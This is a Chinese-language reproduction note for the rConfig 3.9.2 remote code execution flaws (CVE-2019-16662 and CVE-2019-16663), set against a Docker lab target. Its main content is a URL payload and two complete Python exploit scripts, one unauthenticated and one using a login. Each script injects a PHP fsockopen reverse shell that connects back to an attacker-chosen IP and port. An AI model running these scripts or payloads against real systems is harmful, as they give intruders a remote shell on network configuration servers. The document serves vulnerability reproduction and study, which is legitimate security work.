rConfig是一个开源网络设备配置管理解决方案，可以方便网络工程师快速、频繁管理网络设备快照。

0x01 漏洞环境

https://hub.docker.com/r/vulfocus/rconfig-cve_2019_16662

0x02 影响版本：

rConfig v3.9.2

0x03 漏洞复现

启动靶机，访问登录页面，http://192.168.10.214:54803/login.php，界面如下：

参考：

https://xz.aliyun.com/t/6751

poc

<https://www.xxx.com/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=`php> -r '$sock=fsockopen("1.2.3.4",1234);exec("/bin/sh -i <&3 >&3 2>&3");'`

poc x1:

#!/usr/bin/python

# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16662
# Vendor Homepage: <https://rconfig.com/>
# Software link: <https://rconfig.com/download>
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22

import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 4:
    print "[+] Usage : ./exploit.py target ip port"
    exit()

target = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'#'''.format(ip, port))

install_path = target + "/install"

req = requests.get(install_path, verify=False)
if req.status_code == 404:
    print "[-] Installation directory not found!"
    print "[-] Exploitation failed !"
    exit()
elif req.status_code == 200:
    print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload

print "[+] Triggering the payload"
print "[+] Check your listener !"

requests.get(url_to_send, verify=False)

poc x2:

#!/usr/bin/python

# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16663
# Vendor Homepage: <https://rconfig.com/>
# Software link: <https://rconfig.com/download>
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22

import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 6:
    print "[+] Usage : ./exploit.py target username password ip port"
    exit()

target = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

ip = sys.argv[4]

port = sys.argv[5]

request = requests.session()

login_info = {
    "user": username,
    "pass": password,
    "sublogin": 1
}

login_request = request.post(
    target+"/lib/crud/userprocess.php",
     login_info,
     verify=False,
     allow_redirects=True
 )

dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)

if dashboard_request.status_code == 200:
    print "[+] LoggedIn successfully"
    payload = '''""&amp;&amp;php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'#'''.format(ip, port)
    encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&amp;catCommand={0}".format(quote(payload))
    print "[+] triggering the payload"
    print "[+] Check your listener !"
    exploit_req = request.get(encoded_request)

elif dashboard_request.status_code == 302:
    print "[-] Wrong credentials !"
    exit()

脚本：

https://github.com/mhaskar/CVE-2019-16662